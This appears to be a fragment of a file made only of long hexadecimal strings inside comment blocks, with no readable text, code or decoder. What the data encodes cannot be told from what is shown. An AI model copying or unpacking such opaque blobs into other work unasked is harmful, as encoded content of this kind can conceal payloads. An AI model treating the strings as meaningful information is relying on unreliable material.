6231d1c5ac583d94435bf6320ca4e53c3e517083adab2ebe6127a6ad1ea2770f4b795d8d9531f2cc65a33fcbb9d7d1802a4adf6090188012b8eafcd22848b41b675bc75f05c40fcd5db409e13a4a1d0fd20bfa9df52697b8619a96becadfd2d3a531f2ad92cc57130af03820fc76f9fdf427e6d16446680680969992b1603b972cde4403c861e844c9700b6e45fb1d84f1d85d73194f2ad65fa087a4beed1f0b79e0ddd93c95a2618e3fd302965144718e152b95393a8987f49090c2b408752683dd3b68f4ee6ed0197932902806a9a5bd5cd2124566adc6a08a9e2bc936ec6b352d35dbaa2fa1065d8c485256d4877183f6a64c4b96ec5c7d0943607d1a7d3ff24c8bddfdb24e93a471614a515647e1eb7d4b43ed4d1ad23b363b44e5e8e47afa948e10f957529bcdfcfe7937fe7f944d39a34cffcfb133eaa07fd5e8ab59623263481b0ecce162794a334970cfe1c0c85cf8be9c7358e1f046b9998f2e0b69b910330d89caac1f8a077de4b4824031b16f0d55201b345ce4ccf8e5bf357111721b24257a191eab9dc9ad0e23dd68868f74e783ced05844ef6b1e194c0d890f70cb8d08ce37e73b7b6e4b1c22bfea9c9f8d5c83d99e244c8bcdd04ed59e5b5ec60bd96eb971f89aafc3cdd7ca6f91eba8456873a0d84d8f24bfd92c851b2acc25adca82bccf6d9170e01d716eff541d888dc363ebc36dd95dfbd62d95982e3bd44130aee78bb17544401e218ed240e8d6366e4e7f7f3f692405b12efd9a541973c34d0de519b43168da23bec45e409d0d0dcdf22184198c1a54437e76988d3c70a5b97a7f8e6b8f0a858686d97d424f7a983e7079643c3908ff578a2e7e976b2a86a1824caf565aa129f210703815f0a6fca62bc83c0f2c86b06b5030e965637507ba3ffa5fef0116ce2b24f3f48465731a4d4c2784e47e8bb1403b4d05f22b10ec31f66162517af1945daf22cc8a5dd40568eddf2366d3c8c45b015b647c4813326068c0c312540d1209dd70bd32a7d8eb2cdbb2d4e29c460476aa5a277a66fe07913305ef7b734d104cfadeb6161f5803405cc352400a197053408f92ca98a1ee131db0ea42eeaf449f261cd01034d8bfcf98a4c74b16409634865772d0ca3a8a272045669213f391ff499baeecc1680018f01707e2d2fc1cc7bc96d063a06900a0bec77e53936241f039bc4a0fa3e6d70c72b6576f81b97233932be496a05790953a0a8b8e738a74ba1a8fe60185b7368b8b4e54cf264ab40a42d530b66d2be6bf22c76dc60896d2e053bf9397674b36d496eefbb9a536176c9a8d8d7c5bd5f6e500d2e9a56e8ca932deaee8d7fc3d4fe792b37*/
/*025eed547d550eb371903e53e7b5b5011dc8766546df53fea729c27bbb1cfd1243518ca3938903d7ec4ec554f282cedf07ff4d3671ac77bb4ed8c15863b806b528e688e6b4739e00ca08c40485f03fc8c9ea25b3f885666a10e1b9d0acd59f51ce0047d5106cf4c08610812c061d99cacbe5335627a5d764f480d1024dcb8b8e473957a0faef768bea94a304862e22f120ad6a20c26d9e66d7e23b70b574743fec819c961e3338832ec0ccfcc11dc5ac421f35ae47f4c19a4f760edfc3ef595752c992d8eb903e88b71eb5cc392ea2055de4e3ca658765fe2aa39bfad96095c078287c2e39ccd34a459f0c955d81de12e619f8a3b5314d17d9e82c7618fe17a222047af1f13a6f7ea10bce3c175e1991277c763ffbbac609bcd862f7d4b0f4851b9ff1f38b03ed6c4cfed1864036db2ff5e732d3da69ce6f6288999951aeb80a5da591a10f7bff40a44e9f8d1363e9b4d8bc187b86774bb2bd494b48797f2da87f7e9df0c5dbc7dea99eb24005ecdf38e8396ad931c4d473ef0175155067444afb67f0e84f2c0a990506deb5ef6587ee08458075bd164a478e60d4632f1f3c2c0bb09b1f5471a8805ad0ee9c99b78d28ab43367f54c1e939d14b8406900b6e9440a034978cc56dee5207eda5d56f8e0fc26f873392549f5545d46d78279178b5fcd3a18b098f5fb732f7508acd545bcb8a1ba4dfc716d36eed77bcf04bd257fde3e662c5b91caf6e5c747e3c7a1e47886c3f622a295f14dd750755c4db4749360c04a8a51f5ea0e71e24324abf615a6b0c18ba22e5d5f0803715d3ac035ea61cfb66f007071b2980be92f2f58565d8e72dd702dd2fc6154a779b0f581281cce748247606aa96a9e735e89f30eeafb644234b96b35a8bd11e82971269759b68eec44831de470649db8645feb7ffb68019f89761ed03c6b500b2660b1d9fca761edc1f96756dbdc84ed480fc7320f72c0dcbfbb84ea1917f208387f81da1db4ddde3db058be36887555ea3e7e171b9c951cfb8ba454e3590669993bc6f19c614e19d7801996f2a31577836e6c14793f4b2f0f36b868425db3df3c237d6f61971610654736b12bd7f4231411d9e60d4b933a031cc7390401c7a252b73af1812bc08d73f4120d9fc994d44e9dfc1a2c922fe16d7e5f84daed79fd41e8e770d175519e63e9086ab2b640c28338a06f807011315cb45968655a5a88b3d8dd3c220fffdca17606a1c0bcbb83dbd59a45c6823d3ae2e01d8c42b9b841e9e1184acbf9ebf9e2fa367e4024a6318d8c8a8998b6ed72264fac4b05d029799673b224d5d03a1e9553d14d095b03ec46446fc7fa481d06dedc7f207fabaa2a11d4c18110f010ed82178f628427d343dcc55d43783c35dfb0cafbdd14ec3c7bf358aec4cedd804e268bd4459067bbed52951aa0add5e0339d523b5852f9dda9e0c3276c2600402f84225b92c91c501496913aa341b06bad9bba4a01409c606945b3f58764a49b4a36439ac7ab7780fd7741773c99cc32674e70fa688e5f803f85a0e3b17b74d7e785f5c7ce4edda0eb42e835896e7d70df700ade53bf72716b911bb03e131d095c1cb95b003cf93d348f209190ab73d9a926c916ae07f71c61011d04eb30306a9a88e2285de23b2bba0d9132e8b15301764bba62c194e6797208a901a2d39df410a7d22a02a04cac7ebb8122d509589b0a8a0a69c60059f182656dae18250a8400ac92b8e29a9da1dd03b7d3fb95d82cb08ef67899424d39868a831cf7877c4b61f1f077f432ed2cea901368f11d4880cfb53479c48ecde75f781879b117a7d9078a93f46c0ecd5f2bcb4cb76979868918840357dd40035e90370fdb918960a94683f0779f7009fde15d2bcfa27d5b3875da13a25ed59a8641765cea16a8f816d85ba5afc034dd44a4c6d581c44e4afb31c5070c0f08afcdd16461d848ac38feab845256ee37f64f7c215601201353c2db159e8f73c9b1a4442d4cd5afcd686622de3ad8f97c78e10684b85dfe21bab475075986611ec48f8bf3f8597f5581ebc118f09d11a71d201d668fc698d3c280085b1b5fe3a5fbe4988e17afc777fd8028c5f24f0d9fc52e4ab5e10a411506404d3dcb758f00cef27458af9372e2718ba8de26241e77fad3834fe8d3d59b8d79dee332e26f8b9bdfb746ce3d86ce12779f0e5d58e1e530ca9012505ff7b1443ad6f0a07e704051e54a336d20ea8dc8fa9a96c762bcd2688f6a8ba6b622bab81bd28ecf53773302d61ec3a798ebfa298829417025a590d65fd7346ac5b46cc1a2e64b9fb2c3baefa86c605f20871282815718d838b26c06841759f5f3c2abec572aed22d55143e86ead5acf05fb58ad22994464efa69fec5eb96ae4450fcb7f79092f0cc2d29c3d0d085b5df2d337d14fa70bdfe16eaa0930288e03029323d50173a063b1c747c2f936af1da2dfb1c12da960f2e043a6d2415358e767206e070ec11a3e73300a82f32aff16f9c6e3c1fb4f59372376607426269709760f1fb14b20bffc8da7421d2127ffd78ef27073353cf344b645fccea302e2c70868abb66af1e769cdb2cf8b83182cb01aa1363238ba014cafad19acf91cd13fa8aa391b8455fa66218b661c9afca55ef2a15453ea47bc6292188b116c55fdcc5f386f43f18a9e8cd7815d03b4696f376bd10543bbc430725d4b431aa36e2a8a840ae00f6e68a4b5d0627be550978a3e79c7ef00ee41938c63c97a89dd83f1a1fd3475fb00ea890705aac31b48d3e7c0cc2740c46518c7ff80fde951bc00d39b4341c604d8b3183d95cf47bba6eb65a9414f388e70ff29e03dc91243550eaddef24887c8f0d*/
/*2de4fea7cecdbab1ff45f2f2eaf2ff7c8e676ec7f779e5ad6ba7073364c339427719773e7c49350042c9d11d92396111e272ebcbd21a09f024f2d7d5422136d1c14c98115a84215453f4e35da2a95afa167348dad530a36f8d5f8ca6cbd39657168b2d22141bc3c4a2ef6b343f533b9c56b10340b15d5e78f246e2cc82470bf5b04c9608745107514e2b3101cb6105357248b7e63ea5098afacae352c0e0ec8546e842fcddc1e3a3c2334c5b1b498d77673fa5b44ccc9ca5081ed62945970f6d98b2823bb4d8acfdf89c040cfdd3dd656c356cb54496cc108752f60858208e3d8bf5ad99c4a6180ac40c26fb002402e88b021d3f344d89bd691adbf30262a3874ea42e36a9be03ac8fb5edb506cf22d49b43b6f271b38fa09cb29f3d11331f816ef0ad09b3369773308f2ff720869b61b4ec58be7804eaf54f7cec6e6e53f1c9e23940b13797f1ebc59ce1fa08f3495843bbfb107ebe164ffd867406bbbbb232d004ac9d43424613539c98ebb6e472962166530ebd9b8b99fd696540ec24db44fbe8eb64b049291d1003e89e6a942df02ab8d9e882257ec73c8546467437e957484fa4688190f7e9a690af99d0b18462fd8f99da61ca7d16c0d25f75ee8bd0f7ddce301f6fe5329af14d0d68b73de9058f0b29ba46ce5ccc575abd534da4594e50c016755f7de7c3ab9face842c091975f63aaed2587a50f1a7ee82b94f1bd9052cec00b470d683a16ba0e505a8b24d0d8a12447c80352c9a1e1f335d5c11e5ccfddc1126a8343eeb5678b7d5e73e94c1945a31cd0e1ec6a58c3e3a5fd1d00c6c05cb0e75fcffede7305f44fa5f1ab82fdcdb4d37bcf554e91de8cad2e9e4944c0b6f4305319b3b29ae9a77e5e2b139fcec8664890e584b46693a848c36e098943be2ae8cc3b6d921435fbc42a990e77fbe989f7b5361e98ec5be134cd028b5f30331a78b9b2f61e852bc8a3cc054496c157f2d58e2f4ee80d5c6433d89eb38d007fcb13cc084dd9ab5b9f9cccc1a12f1cdbcbadab107e7c822edb1fd7272a98be140ef1c9347e4e89c750b2acc25b441e52e94f2f58274f70a4396149f759163d4977bcd375c8bf31893e4acd88df02fefa40fb2b007ba9bdb23f9c87d90a7b6f3a7cc491680df18f3c4650c13ebe3776cfca3a98256b78f370dd3e667e59ff6990df292326d043aed4fab8017d730fbcb062ff59ff6acd4710bc1512a65032db4dbc3d9930a1036fc6bd3321a2a992bf1ccd629d43d4a7acf34e33fa1dfe9fd43a0f8e86c5d77edf4872d6c79f8ebdd65e547d9bdf978ac5dad158f41cfd432c4612923b160d4180d129ac083862b4f84f49facfbdc53f96a72ddd38f2af65ebc983c3821f94a078e01f243cb1820094a380577d150cf34f86f8548d25f9f783e7437ef40cf44fbc789e03d7c7de0d6ca7b277b49b216643afd1759355518e0ff77d5c73fd146d31a832ee8f002d180a02488eebac8f305f0e2d53a4f9e6aa58e694c8c2ceef93c92c84f8b996870d0bf0b09aaffce382a63cdebe2027759375774c15087a5a35a597abd769e732fb84f86d74e6524b559f5f3528024167c7d06d4aa5638570b40f4ce056305310fb7e0cd80d539aa9cd415e4cd88b00cfee3b891e2d60a41a937d8c3ade6461ce0b568334c97fffed15f7f40f87c75d2fda0b0e05fdd32cd93c8980f12f5406154f592f244ef09f05713716957c0d0b13cedbdf34ee5b2f744d3ef4ae2df374359e019fa4e87e0c21aac3751a0aaab941b8f1df4860c0b884c3402abad00d9454611a325a95e6b70f8875e057e7b5caeb04e2acb69cf57db921f980b08aae2514f3e5cd5d1038f1dc8fb40ef344ee2f96069f9285de27b3a5543ef4b8736c27f5aa70f30e1168a3cd5ef7e3ff3c14e7228876064ee91e0d3051a7043089d37cc23853583a3a2d535682ccd770e337b121fafc54f0b7ac6ef15613ca7bc9a42023486e3d7845b4399d9c9e5b2c6d31c0dddcb74dfbe14f990ab078b6cda540b1d9f7589f02f617a254085cbcb1d03ee523fef0ee7c2077b18ea6a7f09811afa7bbd5451ffd219e47486ce7e4e7bc2fb833b4f907e2aec321b8ce540297cc76b373561ca3296d386be2850ed23434d59f5a00088a9f5328d4a42fb4e439afd3d71738123282426169936bdd64e44053158db12e87c6d3ad1150a0efbfa6c316fad622b0e6972b2c5b595926adce0d098f222dc9241d3b60c37265eeba0d2e68d0172145fc61388f96eef5719c11a1088d6c09bcc258d36f39bfbab3be54c6c070c19b3ed8f82c5793b439c6a6197c86606d3aa9a9fb25360d5bf9d5fe4b8d8aef42bfdf31b5d15402e9a30e1c6a5f18bc285f6dc6371e11689505a6cae91271f9c35e9d2f7d4d0eb279cf0187933494ad464224eeb7661fd342608ce0d27b88bcfbd39a652419a1a38ab4450d25ac32d5d536fd0e7fbfcfb712d48c7e002a3f866eab19ca59613e377a1009bd604e6d9cc04704352f2b299031d994086219a29aa0e4e79a10b34ed94ae863dc9db2f0b1537e9d69493bd22363c696cc6f8c00ffd3ac397784b4f2e8aa3eb1ebba9faab2d94a643973fc020439465538eee191008ceabc7a7b55d9b190bb345b0bcfafee3a81f19f5712251a9dc2153bfa4b7f652e16993d79c0f52bdf3d005e827b7241d8ec79137bf62b97c94a0a0ed2148effdef3f79f53ce7a389778717d012ee77e937899de43076c95f914d32d997c8162b04a466e723eb517dd440e8179b77d49256484be9cf059a2236afedb7cbce0d4e0f0a8b830f4f88d05644fc9238681767e918bd6ba3d004603d9f045c9f916c2544b*/
/*1a25e0f9d977b5c0686a35b6c1641bbe2b430e59583d54e6ec38d8b87f8ac474e7e7c01fda89374d91d49bfea9d54a1612d35007948ada751ad441162f6746775a166b8ed5dc6188ae4084334630ccbe87e1bb02839e93dbe65705970ce3dee1c5c89d8c3fec98b21a4bbd237eb44496baf9e41b6efc401708a275fd2ad70d4a88206d263ce9564aa31cedb7b1d69b55e73a985f38c21ecd9e6c3f6f6f72f262297da23f6f9664542f4591c1f0ee92058edf7ab7d1e621229294d49ba4a84a504947c7d194bf40b27469c8afd2a3e9a10c703e2e946f86ca0969fe7869a162203dede9306aa78b93bba6ff75964de9c0c306a8c90208785c715e592e8cf5957ba50d4fac6f2052251e9910963f56f7c223bb806043a05573d644aa2b35c4733817eb386f9b0306a8a4b35610772118de6a9cd84576ed4c7d75a31168f2705be84ecba745d6a22d3e2a80b17bb00eeb5dc0622d97a67a46a366e7290ff3d15aaf43a3e7106971d95d6ae5ee187ce419cc024bff185bec65d2e7348226cb260e883184da8d5e348ddfde1aa6a12e142c5f97c11a01df647090be69899de4cb6078aebca05f26729e8aaed77fe63a32a9ca41a90caf1b7795ef6bb9722e3b895b3a058a0bf58a6f691e3f9c35a2910ef62f11249e71ff8f82371e1c532593505bdf5093395ef90eb5cb20e3dd78e72570634e9e3f16eb87ed1ee70f05f9cfe792e24f17cee3cc5d3cff5513841c8ed09916c61a585ead0336a8aebc5608453298f3b4a0466da0b3fbf5e1eff98addc36fb9fe83218d900935e3f9b36e8ad593fa42710ca32582b3b530131cf97f397d76147faf51b3260a5957f18ff1ae9333dbf1a3b0ba0c64fd7749195518bff149190293190926042d588bd472eb4bc0fe5ba94197dc55a39503f5271975ad6466b103c716c57831007f16b473425829dfeaba5582871370787f9d6a2e9c2abe31ef1a60e13c9d1fc8d50def6f002700c0d07f2a78ce71e4db8706a68eec25aea02219043b53cb89b418bf5e68116f47708c7a764d437eacadb61b36e957612b8ae7e2d0f3a559a7f70be647b847b29d16692f749e1d0186ca25c4596cd099b961a3d4b71d844bf1699271a612d793441ae93a30719a9a71963ac562b637e65740b25d51e47fdfb9ccd732c620332f5ee0c727c72bbdd596cccb02aa63e9017e947a63ae408107602cbc3dbe80dc701f48bc7a4b82027ec19a2d6c923e39cd29196a2bd9a2c2a659adbd764df3f3b3ab59e11a12fa30af2d81d2ae7098d853845a3716c83bef83fc74b2abc40847d0bdafcd90c20b2883feeae1404ad5fc1bd90217c1e7868a000934f321c1641b1db6d03caaed4688bd04a8bb4b308275b206e2052c493e7fef8b287511f12cf8bbe87901deb9355985f73286bde1599f36a598451c5edd8c7ba4a2da9d6fe1a04093c20483a72ae0a334a98ceb69bfe124f110de0e11af3eff090a8821f3fcce4f522b109d70bea66a97b6cdebeb6eedb76504cc45b6039898f24290dd0ea38b0be855cbbdafbe20ea01c2674a2839d2e0389e19a12c96ace3285b8d3974d508efaef7ea36c329e57ce9c40bc45be8ed456ecfe735c27c394e7c2afd492401ad9cb9b1302e63cecd1d7b6fd512e3f0c03ddd41b7753698df02b756f5b02cc7297859cbe88b3699f38465b87b800e65dc41f744982c3a57f7687352da7495ff2e999b6478b74a696c43a788c60d874b27a2191179072ec9110ac093f3d815f6a5daeafafed7d0882c7b9571f37e5b085d5ded78937f573442d24af3fe44c23600232e6e14f75140aee54cdfe3bffd2e0ed4259433a70fe28227285dcbe5552116b35bba4fb84dbf3c29f9b2cca9735b5180c5cfbb5170c744ce3021c9eae5cafab271b8a1c0cd447b475e72cb86561e25d65713512310c3ee1ea1362493a6c7c25386939b87f8f36cb6c1c3417a2034ff154bc7d12779bcc3c80e5acb507749a9a1eb0d7be5ae26a0ce37444e753136510cb254796c0a2675653e545896d6df75aa587a2e52f216f91f4f59eb9204ac7e28c8d0459f2d427918c1b34ea90b149cf94927aa15083576f456d915505be14dc1a2fbf11ecc9228fee7cfe46640eb89148fa6aa3133d9293cf7ab4985ad2d56c9681d941a66820b0e3386d7077c2b3891afe5ee1bb1772c948075add4e1abc502d3ec4de45c11075d1b6e4f8b818aa4752604c897b3fabc956fccf2cd37c38904ee575e5f9cfa61b26f14ec5a335cc48ab502a310d16d3571a9ea9b8a3dcdb1edd0edc90eec4f6ded4da4063c6350e8ac72bad636b235381385a50c49f59e560939520d1eab0458c60c205dac4e1e07a5fd7c7f047384e5f2a6a820b16763971ddf423ce3663cab178dcd5c733587022b09f9acd3d769acd788550545da5e0e0b18b46600b8a262b6d016ff9898ffc45860d3d718bf770f30d809dc9d6d73ad7a72c8a644fd120dd956b77bcc54966911a12a2f130262d928dc14ba76d4149356a2800d5172753598d1dc186269730666dce203272384a13cf97de858b3d321a6153b49dfbed61584ca803e610ef3aea9ce210d0590835fbc586f7276696b821fc8fb0854c76060610f06e4ee907df8402e9ed2e806d03907fa0f14a59167367eea41c4e07d05d8eb390412e616a45ab120dc7912c1d3870938f0e6c19581aed578418be3df0b68280c8a2d2b8cfb46b1c9fcdec154759f61460b6ad27f72eadc95d197f98ff5b990592a1c112c693ad922ee72d1fa13e7615d88eded42d1b98a88d2f3ef6676990e0c4488aae44a5c6ce26e54a1c837e7302f964da80701bd195f2b0199*/
/*029bd48d7f167fb036534dcf5ab9b9aeb1c12fa553d37f8fc28ff33973b69d2c476ffab8f3f311b2310130893902fea377e381ed7d3cb9828f1cd0096a0adda65bb563e96c0137bb085daaecf77a9110a6fb2a540594add0e6a782e668487b1f9d6a4793346bb2d16e24236e12b1594cfe25ffb87965caa84569ff3a940cf9e745f5b5707d3c1018508fa8f5c6b78f0fdf5a2730ad623d52c6adca0df6c515526a3b7312b0b97b5cc24474cff141542e4091b4b51400b06f391d7539e4f7f72e4d9afecb279b532300f7a44f190aa98306e7aeb76c54612466b4f3a13d311b77000b03b7893c17bf90ef660f9021c50cce3517f5706f780222facdccd152fd89afb0ce2d8fc876f59010ccea7bf39e49076d8a6c2ea91899caa162674e0aba2623ef79df7537f1b01dec4de40a8bb2ad2137a1d7678b44cda574965720466444a797cac8e0a342356ebe0b8205295a505ee6d30c6b8863de6d8f9a4cc5eeca798b9db94907945aad8672ae4ddd29417e798b21f7d60e10c804415cc66f1a1a4e79ab1c781b5f0ca1105a17c8a28bca909e3bb42c8c227d2e6daa1fa9b83a069d28ff522b9149dd01bae3a43922878b5b837e10b3531cb97e7244eda4a686557a7ad6b2dc30824163752e148df1740b8dc08f9c76fe7a97fa478f82e40cda1cf4e01e84e017dedb6c580dcb80005dcb9524a5e16b88da392fce843d2f943b0ae64909a4aeea346c4495b1e62ada73c73f3e0f7d7d6327490821bea67f145b4fabb5e7218147e02822c376066e5a02bb7d477fd81be64242d2e25890aec5bd59838ea05ff8e59144a70cb18f59673219005efc4671f74b46ff2ac63d705adeff82caa5f86096d90ff7aa2179b8e4d03dcba465278dc12d10bad5747d6c03f39fc293942fa43fb90a044bb04f0dee210b4004005c640aea5bba427d3f3317f07b3bd9536927e0e55739cbacf0cfe69b8143e164f50009ca9ac31bd59b90626ee45bceee2b65a369da27149a5d2557a3eefd5e0f1e85ba5b46696fc2438c6bf31102216a5a59f7c3c18ff0645a769056a77f63b824fe799b3fec575a669107b4fca0fc25d8643e69872787d14f5b2c5cdf84c4449442b89bea3363e681ce72bf2ae38909dce161622d37b85e9280624f8100b64516604e02886da8e2565d498b6e16c7bbb4fc7b5c76d20efa547799b0f188e81af2a243868e179a3bb1c860f5775983c826e9ab89dd2f66afc2f986ef5f2c3321c885c529e9773c279d8247a9bf0556e346127dc753dd0ca6b7b605ae232ae62ea17335039d1fee19122c297cf540dce24f54f182821176188369a75a4ac2d102a9d8744dcd622714bac41314d9341875803d0f76680ae061261c7cd21b1db4e4b3e1d1e7f5911403ad125b495956833599ae6612a16f43aaa33705225f1eeb3e1ecc90556149ba9407246bf0084c907a4baed640c9145ebbe08f589076c8f1a1cb40bcc2ddbe878094d679660443ebc8a51f550825066c5775bb5bd5e56dcdbf7c928e31df6785918146ab4494d20f3b56656967ae53f1368b4f1d63104e722a7e7e96dc8c49300e58767baf47769e9271a2489174ff57bb0815866d41e20dd9bcda92acd8b3290cd18729439a8faa77a7c644f0157990305e80e1a94d9877022ef2b5b92ad3d443b786c951cde2c60ca076f0f7e2c4ca2a4c255f5d9ef66eb6babc0d49e34c6d343ffac97598cc801e4823b7f8909fee0649a7c2315b0d1450c42fe238cc9fd778b3fbbb62e5a005311cc2d4b3eaa51d221d5368d96c6b1f5a1574332a03c2e2fdf56c2a280add17266a0272914491502efe8dd900d5b06c0e0bffc1300aa4464b00caf6d0ba727db74b087d040fd0817384150739bcd43d236ceb448268e4a3e66fba6c4c22240051d18d9cc7a2ba28fac86096c2b43325f58595586b7089c75c2eb393602d8c93ab2b5be7494bcc30db6ae3edb635ae7754278e4a38e71e52cac7180cdacd264e4da1447942208f1e8a760659fe494f9e0c5450ee587de143eca9a2cfd565862350b5f73d4066d377b7605971438f40a3d9a7413d2342ed799c857bb0b32a4b6aebfcfba028629c1a96e54cba612361d4dbf2c34695bd6dbff2c3e34d0418e88ddb1d45e6901baf59ba0bd6481853855afd5ac0210fdfe722e79435984acb8403c25c86ec2a83cfae1f973dfcbce29444a8cd33602eb76386521bcd20fa17a7413fe79eff91f36652714ad90c8063cb56190752cd0af9e8f323b11d2bb9c240d7319f221ece2e9d9c3be71d02a0052896b89641c5310852a04bf16b8baa22c58a501e71657909bd60bf0dd87f1f675364c73ae0d1950de79f35f53f896f2b19c7bb81906bb509bc7b13c0eb7a1ec8abfdff90976f8e2aa5be606df54cabfc6f5f3acd50431907119744684151dae8fd823464250be35166a5e37d44f78668cab27545d254f4554f6c098e739f6e6b5fa743224810ba7cdd22a2cbcd30fa24253fedf0ccb3b5e695dcc022b3d4fb09263ccf640e88a4626c42bf680b9640ad7a83db7f28d621940ee1c5dd7931345072109f62e1de1c0b3b440ccfc29f0cbc77d67e4f7cf1f5a0d2fb4d96aa8935ddd528f1f1a09bea5f20be50919e198ad1a1129e1291d3319852ddf1f300ca3d948f6721d8b9f4750a0944fea451cd9660b28f94c9f4a03bc1dcf5b72414a8adb873d206c633a5ef2f3c0eb5c325fbec79efbd3516c53ed8e36488e1944608ba480071f4a32c038c60f8d393eb23dd65ea26501470aa46dfcf108f404533ea89a869830b9ffad7e0b19a65a4fbe9f05f236be498c87c314401e4b601b109d1f995eb*/
/*af75588576caef8fa782cfdad45189051acbc6a4c6e0238538d409d185177bf621ad681e028db63836a97cb45cbc9bb6472cffb3d3e14604afa67b2a808e4d2cdc8e5a00d17a0ee042be05bd9b6eaf8834101b2f9753ce98b95bc9cd9dc210634deb74402dcf93e3c1a354fd9e43172d50895bb45376b10f07b617cb93756504c2cb90db6ce24735f40936b02bc0b9aa11f7f3de22fb641af717950bcd31ea5cea9bbc075693bb9e12cfeac0ea0398b537ff540d29506748fa41751d547ec666bce2133f338690b9d2e5908ab1819689f743939c452ecea7cfe9c74d15e7c75ed97df28cb7f4218490d639e7cd1e8ca9f03fb40ff4b0527f7f1faa76555d9b52a47dadde1e164fcea1d1e4ad169393f904422dadee9dd2a1adc352e15a502f452df5023f816c0d07e544d031db2e045e3a3619227e7cb23ebbbb5e8f557ca38f9406017860518624ccf5a61ca5c5e65320f608cc283e1d88994e045f68efd8659c2f337485ce4e409952a2a46fbc23a9ed0f37177f9c30248c4b958d4cea6cbdaddcd0f173baffcf75af3edb5874e6c95865ece4c54cbd27db3150868215301e01e7283e60f44a008f8013256e9e167a1d267215ca313a3dea6673d67d1c7a6ff2e1eab52bf42c731004b7cba5668460365332b995fb461fd64919ae1a1ad3e084f4887e696b995b59beec9cf1a9750cfad2c7a9d09c80c575c4431ddfc23fb37698d7ee6ae5224a62de62a7ca1156dd1f56041bbf2c4c01b7d2ee74e20d11b1e26584b5cebd2e3b3693326b7dd884bc14541af30903b38201111f6e7f3222d0a7919d3ef1cf877d9f2fcfba58b3838838a89797e4e8090214cd00523881765d93f2ae55ffa66dff839c53471a6b9c16b25391abbcb43c4fff8f58fe9332f61672293ccd8d5c2e867f6f356955e13bcc58d63d5426ea70bb850488044c22304e707d168761758f32f5d1add059f7590b531175739aee246fabdbb9376de841e6f8ca2c3d34fb878a7594ca95ef860926bf193b7759687de1f75e815fb2e7da06d36204936ac9a76fb30147d6f3142aa3860241dbd00e7e663e37ba31ce558a4dd7d0632c1241bc92c1946bb068e8d457bc03d921644ac9fc3be3da1c19d5534e7925872511f5f591596c8c88347272c29cb3b45d00a6ee1f9edec0f615af9e8342f230b029048f62ca770aac80ddf703c864561df2078bf7f0bf360b5a7f3f48940f0b6c8f8e1c209aedee1af249fac2d55df87a889aed2110177a933a3779c2579639743c164012e15d34eb5612cad59dad18c6a1171c82604690c8fee80d143102a66c185a5d66d64d79521088978deb4063334f1e60575689ae8f77de1869b41a56218b965a12748584e749acd1f63beddfe8293413efb1d4595a6f12243abd8289cb55cfbb7021602a3327e13a624177780b37bdeaa57422b2ef4613b64c850fb9fcc98e2bd0a785cb6aca6424a5f4d1a42d5857e2dc545823a102655d36cab0f204dc41e1f7b804cd21da14243e1842577f0bfa0e239884b00835d0cec2d0c56948719a8f753eba1597b7579b723bba43150201344b872865f96db9a17548848ef6db7feee04bce8a7b8ca6203794b6954722c29401676fb1173a317951fa777d077c21d3a125a210701f1243b4755d43fc65aecb7b44bc4c722e622803deb17e70397bc2122ef4e25579c336fc1e9b5d317c9f223b174db75fd83886ad5d92317c2d62218b4c66ecef305d6b695f057fdb496b40ec7f8cde1cad7f168722a3dc73c1bdd41286ce77f653587ff40de3f62ddfde9b69c5a9ab3f33b8d0b012e638cb56e7a1c49820d6a782f2c1c16928327fb8be0cccd78c605cd26dd02bec88b2f489af69dd9786ad33e6c195269be691b63ade1640c84385e03bc526c94bc09041caadf693a72f2a0567f226013c6a683b59bdeeb77cfaf1a2f63e77b3444d87992984aa554dc3f50f1592fa06c8615689a08f932157ff854aeecf564c63fde17d68043a6fcbdaa36a8e7448db92eddef87d61c5715ff0dfc237ea7eb6457f27b1993db1e4502f8a0fc894a13c8193f5c4b14a6026f857803b181c93a9aad07071d7b0b57753f7925818349255c9bbce6c849506ee4ba574de08f42e55a25aa4b4042dcdab783b664693159e08462094a6e32ca1e1e8dd356c32cade02934dfeafedf33badc5ac56f06fac4595d5684cc5f800b2686665d1d45f76f5b7938e906c82ef3b32b5d20e00c300023c8d69b1e708b21f8e6473a3e1ce6cef1cf0be87e0c23283c7d5739cbec99edda12eb4456b3216387df85feb5b5a9d4d41df7ac0ea2578821829d4470a7b0710e79177d3c113781f3cc6c1e1347e07d1a01e7d71e35b9531dbfd81fd1acd9cab93a52a23ff7b4db67c2e9a7216b9850330aef517d49941866166de6239d4f57316dc41cf3f4c1572ec629d26b049d6bc71ab45028ee59bf8a748d2346ef5da7f43b6c38942c02449dec67b52b8ccfa3d549e082860a3dc8f6df7bfea24a4c7544d1bac9210f768b86cdef1b07010dec87bc8898dabcfe1fecfd75b4c2292e4a8417a59032dcdb19bcfff03e30636622db860e89c8cd7d1ad2a334302cd4ba42587c7affd68560eedc08b83ef665e1bc9591e4286df7f25e5c8c8170fe6b7b823421b860dd747c5b5c0dadc9bbb43454c3383bbaed2b2e280a64a4d7607a5a4ba11974d5a6d631d87df40d93398784ed4d16348cd400b36632959ecee52a31b71330b0b7c74ee95b6819b449fec3f3a7fd15f8eff937bb5737cfec1e6811be1e1c288e6fb15a74415f589e239fd02aa9814fb637e5491c0209031ea04559356faf0*/
/*f42cde1a6f9206a97f7b047527dc266e57fce3aa0baa3db57ebb8e83e9cad18459e3a5a1cdd28379277c2e1887111e3a1bb1f751fa8bbb434986971253d516d863b18a3ac82de528b49e244c588640673543c7854f6ab1c29123cd95df0192a8b59319821280e2fb14020a43ca7965917bd7d0d65612991d4874bb7a46202e6bba5a0387582103645e9064ed4c22f2187368b9ce1005cb56409a0ba0f2625d78cb8e18bb4b14ce58eb5fa6de4f079476b5e4b3b50d5d686e0827ebf97fea48fa9acb6f8dd4eb76a54f362b9a80c0e5042ba58df88071b9752ed0c38519e8c8aa28454526f17f4a6909cf7836992f8684353fbfa241772c215aa7623e209c47b24adca2ac928fed38cc0c8e3d474f17ce6b1fd7e07d86fa3f6cd8ce03dd52b5930f550eb5a90d2ff908070e9c66930b68055e9b2959650196305bfdae6b83c1a30239a45003679e25f1a9a8ab71b64a2114cc7aa17f08a83b4b99d66117b67543efc7287d9194cfe4be516833ecb2474406e317fa1934371f8fc7caf260419532b1a937065e0bdaf7a603618f53bc765913c6b32083e96975146b78a46bb16cf09b3c877904b65ace40968940a36d5d3fc495585bd2d64a91bae417ff0a4f73a90d33a9fd7c82100c0161ba35e4dc3c5e3cb02aefc7d45b6e9862ead21eb2b809732872bec5543c49c261716fe728b91db0e918830084a2ab4298523dc87f93a375c936e55f6017f06a8a3ab8370037a1d498d40fe254a167cbe575240c45ba1c8b91b7b16a188a9b923b01754339583a147d4a025ca